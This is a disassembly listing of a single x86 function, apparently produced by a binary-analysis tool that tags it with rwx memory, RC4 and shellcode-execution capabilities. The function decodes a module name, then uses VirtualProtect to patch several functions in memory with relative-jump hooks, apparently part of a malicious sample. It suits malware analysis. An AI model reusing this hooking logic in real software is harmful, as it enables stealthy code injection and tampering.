Function at 0x1000b950
Capabilities:
Allocate or change rwx memory
Encrypt data using rc4 prga
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xb0
push ebx
push esi
push edi
push 0x9c
lea eax, [ebp - 0xb0]
push 0
push eax
call sub.ntdll.dll_memset
add esp, 0xc
lea esi, [ebp - 0xb0]
mov dword [ebp - 0xb0], 0x9c
call fcn.10001040
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0xb3
xor eax, eax
lea ebx, [ebx]
mov dl, byte [eax + 0x10013ef0]
xor dl, cl
inc ecx
and ecx, 0x800000ff
mov byte [ebp + eax - 0x14], dl
jns 0x1000b9bd
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0xb
jl 0x1000b9a0
lea eax, [ebp - 0x14]
push eax
mov byte [ebp - 9], 0
call edi
mov esi, eax
xor eax, eax
push 0x64
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
call ebx
test esi, esi
je 0x1000b993
mov eax, dword [0x100186dc]
mov ecx, dword [eax + 1]
lea ebx, [ecx + eax + 5]
mov eax, dword [0x10018714]
mov edx, dword [eax + 1]
lea eax, [edx + eax + 5]
mov dword [0x10018910], eax
mov eax, dword [0x1001874c]
mov ecx, dword [eax + 1]
lea edx, [ecx + eax + 5]
mov eax, dword [0x10018828]
mov ecx, dword [eax + 1]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov dword [0x10018888], edx
lea edx, [ecx + eax + 5]
mov eax, dword [0x10017e68]
mov ecx, dword [eax + 1]
mov dword [0x10017e28], edx
lea edx, [ecx + eax + 5]
mov eax, dword [0x10018914]
mov ecx, dword [eax + 1]
mov dword [0x10018874], edx
lea edx, [ecx + eax + 5]
lea eax, [ebp - 4]
push eax
push 0x40
push 5
push ebx
mov dword [0x10017c64], ebx
mov dword [0x10016c0c], edx
call esi
mov edi, dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
push 4
push ebx
call edi
test eax, eax
jne 0x1000ba80
mov ecx, 0x10018730
sub ecx, ebx
sub ecx, 5
mov byte [ebx], 0xe9
mov dword [ebx + 1], ecx
lea ecx, [ecx]
mov eax, dword [ebp - 4]
lea edx, [ebp - 4]
push edx
push eax
push 5
push ebx
call esi
mov ebx, dword [0x10018910]
lea ecx, [ebp - 4]
push ecx
push 0x40
push 5
push ebx
call esi
push 4
push ebx
call edi
test eax, eax
jne 0x1000bab7
mov edx, 0x10018850
sub edx, ebx
sub edx, 5
mov byte [ebx], 0xe9
mov dword [ebx + 1], edx
mov ecx, dword [ebp - 4]
lea eax, [ebp - 4]
push eax
push ecx
push 5
push ebx
call esi
mov ebx, dword [0x10018888]
lea edx, [ebp - 4]
push edx
push 0x40
push 5
push ebx
call esi
push 4
push ebx
call edi
test eax, eax
jne 0x1000baf0
mov eax, 0x10016c44
sub eax, ebx
sub eax, 5
mov byte [ebx], 0xe9
mov dword [ebx + 1], eax
mov edi, edi
mov edx, dword [ebp - 4]
lea ecx, [ebp - 4]
push ecx
push edx
push 5
push ebx
call esi
mov ebx, dword [0x10017e28]
lea eax, [ebp - 4]
push eax
push 0x40
push 5
push ebx
call esi
push 4
push ebx
call edi
test eax, eax
jne 0x1000bb27
mov ecx, 0x100187e4
sub ecx, ebx
sub ecx, 5
mov byte [ebx], 0xe9
mov dword [ebx + 1], ecx
mov eax, dword [ebp - 4]
lea edx, [ebp - 4]
push edx
push eax
push 5
push ebx
call esi
mov ebx, dword [0x10018874]
lea ecx, [ebp - 4]
push ecx
push 0x40
push 5
push ebx
call esi
push 4
push ebx
call edi
test eax, eax
jne 0x1000bb60
mov edx, 0x10018840
sub edx, ebx
sub edx, 5
mov byte [ebx], 0xe9
mov dword [ebx + 1], edx
mov edi, edi
mov ecx, dword [ebp - 4]
lea eax, [ebp - 4]
push eax
push ecx
push 5
push ebx
call esi
mov ebx, dword [0x10016c0c]
lea edx, [ebp - 4]
push edx
push 0x40
push 5
push ebx
call esi
push 4
push ebx
call edi
test eax, eax
jne 0x1000bb97
mov eax, 0x1001873c
sub eax, ebx
sub eax, 5
mov byte [ebx], 0xe9
mov dword [ebx + 1], eax
mov edx, dword [ebp - 4]
lea ecx, [ebp - 4]
push ecx
push edx
push 5
push ebx
call esi
mov eax, dword [ebp - 0xac]
cmp eax, 0xa
je 0x1000bd9b
cmp eax, 6
jne 0x1000bbc5
cmp dword [ebp - 0xa8], 3
je 0x1000bd9b
mov eax, dword [0x10017c64]
mov ebx, dword [sym.imp.ntdll.dll_memmove]
push 0xc
push 0x10018730
push eax
call ebx
mov ecx, dword [0x10018910]
push 0xc
push 0x10018850
push ecx
call ebx
mov edx, dword [0x10018888]
push 0xc
push 0x10016c44
push edx
call ebx
mov eax, dword [0x10017e28]
push 0xc
push 0x100187e4
push eax
call ebx
mov ecx, dword [0x10018874]
push 0xc
push 0x10018840
push ecx
call ebx
mov edx, dword [0x10016c0c]
push 0xc
push 0x1001873c
push edx
call ebx
mov ebx, dword [0x10017c64]
mov eax, dword [0x100186dc]
add esp, 0x48
lea ecx, [ebp - 4]
push ecx
push 0x40
push 5
add eax, 5
add ebx, 5
push ebx
mov dword [ebp - 8], eax
call esi
push 4
push ebx
call edi
test eax, eax
jne 0x1000bc62
mov eax, dword [ebp - 8]
sub eax, ebx
sub eax, 5
mov byte [ebx], 0xe9
mov dword [ebx + 1], eax
mov eax, dword [ebp - 4]
lea edx, [ebp - 4]
push edx
push eax
push 5
push ebx
call esi
mov ebx, dword [0x10018910]
mov ecx, dword [0x10018714]
lea edx, [ebp - 4]
push edx
push 0x40
push 5
add ecx, 5
add ebx, 5
push ebx
mov dword [ebp - 8], ecx
call esi
push 4
push ebx
call edi
test eax, eax
jne 0x1000bca6
mov eax, dword [ebp - 8]
sub eax, ebx
sub eax, 5
mov byte [ebx], 0xe9
mov dword [ebx + 1], eax
mov ecx, dword [ebp - 4]
lea eax, [ebp - 4]
push eax
push ecx
push 5
push ebx
call esi
mov ebx, dword [0x10018888]
mov edx, dword [0x1001874c]
lea eax, [ebp - 4]
push eax
push 0x40
push 5
add edx, 5
add ebx, 5
push ebx
mov dword [ebp - 8], edx
call esi
push 4
push ebx
call edi
test eax, eax
jne 0x1000bcf0
mov eax, dword [ebp - 8]
sub eax, ebx
sub eax, 5
mov byte [ebx], 0xe9
mov dword [ebx + 1], eax
lea ebx, [ebx]
mov edx, dword [ebp - 4]
lea ecx, [ebp - 4]
push ecx
push edx
push 5
push ebx
call esi
mov ebx, dword [0x10017e28]
mov eax, dword [0x10018828]
lea ecx, [ebp - 4]
push ecx
push 0x40
push 5
add eax, 5
add ebx, 5
push ebx
mov dword [ebp - 8], eax
call esi
push 4
push ebx
call edi
test eax, eax
jne 0x1000bd33
mov eax, dword [ebp - 8]
sub eax, ebx
sub eax, 5
mov byte [ebx], 0xe9
mov dword [ebx + 1], eax
mov eax, dword [ebp - 4]
lea edx, [ebp - 4]
push edx
push eax
push 5
push ebx
call esi
mov ebx, dword [0x10018874]
mov ecx, dword [0x10017e68]
lea edx, [ebp - 4]
push edx
push 0x40
push 5
add ecx, 5
add ebx, 5
push ebx
mov dword [ebp - 8], ecx
call esi
push 4
push ebx
call edi
test eax, eax
jne 0x1000bd77
mov eax, dword [ebp - 8]
sub eax, ebx
sub eax, 5
mov byte [ebx], 0xe9
mov dword [ebx + 1], eax
mov ecx, dword [ebp - 4]
lea eax, [ebp - 4]
push eax
push ecx
push 5
push ebx
call esi
mov edx, dword [0x10018914]
mov ebx, dword [0x10016c0c]
add edx, 5
add ebx, 5
jmp 0x1000bf6f
mov eax, dword [0x10017c64]
mov ebx, dword [sym.imp.ntdll.dll_memmove]
push 0xc
push 0x10018730
push eax
call ebx
mov ecx, dword [0x10018910]
push 0xc
push 0x10018850
push ecx
call ebx
mov edx, dword [0x10018888]
push 0xc
push 0x10016c44
push edx
call ebx
mov eax, dword [0x10017e28]
push 0xc
push 0x100187e4
push eax
call ebx
mov ecx, dword [0x10018874]
push 0xc
push 0x10018840
push ecx
call ebx
mov edx, dword [0x10016c0c]
push 0xc
push 0x1001873c
push edx
call ebx
mov ebx, dword [0x10017c64]
mov eax, dword [0x100186dc]
add esp, 0x48
lea ecx, [ebp - 4]
push ecx
push 0x40
push 5
add eax, 5
add ebx, 5
push ebx
mov dword [ebp - 8], eax
call esi
push 4
push ebx
call edi
test eax, eax
jne 0x1000be38
mov eax, dword [ebp - 8]
sub eax, ebx
sub eax, 5
mov byte [ebx], 0xe9
mov dword [ebx + 1], eax
mov eax, dword [ebp - 4]
lea edx, [ebp - 4]
push edx
push eax
push 5
push ebx
call esi
mov ebx, dword [0x10018910]
mov ecx, dword [0x10018714]
lea edx, [ebp - 4]
push edx
push 0x40
push 5
add ecx, 5
add ebx, 5
push ebx
mov dword [ebp - 8], ecx
call esi
push 4
push ebx
call edi
test eax, eax
jne 0x1000be80
mov eax, dword [ebp - 8]
sub eax, ebx
sub eax, 5
mov byte [ebx], 0xe9
mov dword [ebx + 1], eax
lea esp, [esp]
mov ecx, dword [ebp - 4]
lea eax, [ebp - 4]
push eax
push ecx
push 5
push ebx
call esi
mov ebx, dword [0x10018888]
mov edx, dword [0x1001874c]
lea eax, [ebp - 4]
push eax
push 0x40
push 5
add edx, 5
add ebx, 5
push ebx
mov dword [ebp - 8], edx
call esi
push 4
push ebx
call edi
test eax, eax
jne 0x1000bec4
mov eax, dword [ebp - 8]
sub eax, ebx
sub eax, 5
mov byte [ebx], 0xe9
mov dword [ebx + 1], eax
mov edx, dword [ebp - 4]
lea ecx, [ebp - 4]
push ecx
push edx
push 5
push ebx
call esi
mov ebx, dword [0x10017e28]
mov eax, dword [0x10018828]
lea ecx, [ebp - 4]
push ecx
push 0x40
push 5
add eax, 7
add ebx, 7
push ebx
mov dword [ebp - 8], eax
call esi
push 4
push ebx
call edi
test eax, eax
jne 0x1000bf07
mov eax, dword [ebp - 8]
sub eax, ebx
sub eax, 5
mov byte [ebx], 0xe9
mov dword [ebx + 1], eax
mov eax, dword [ebp - 4]
lea edx, [ebp - 4]
push edx
push eax
push 5
push ebx
call esi
mov ebx, dword [0x10018874]
mov ecx, dword [0x10017e68]
lea edx, [ebp - 4]
push edx
push 0x40
push 5
add ecx, 7
add ebx, 7
push ebx
mov dword [ebp - 8], ecx
call esi
push 4
push ebx
call edi
test eax, eax
jne 0x1000bf50
mov eax, dword [ebp - 8]
sub eax, ebx
sub eax, 5
mov byte [ebx], 0xe9
mov dword [ebx + 1], eax
jmp 0x1000bf50
mov ecx, dword [ebp - 4]
lea eax, [ebp - 4]
push eax
push ecx
push 5
push ebx
call esi
mov edx, dword [0x10018914]
mov ebx, dword [0x10016c0c]
add edx, 7
add ebx, 7
lea eax, [ebp - 4]
push eax
push 0x40
push 5
push ebx
mov dword [ebp - 8], edx
call esi
push 4
push ebx
call edi
test eax, eax
jne 0x1000bf94
mov eax, dword [ebp - 8]
sub eax, ebx
sub eax, 5
mov byte [ebx], 0xe9
mov dword [ebx + 1], eax
mov edx, dword [ebp - 4]
lea ecx, [ebp - 4]
push ecx
push edx
push 5
push ebx
call esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret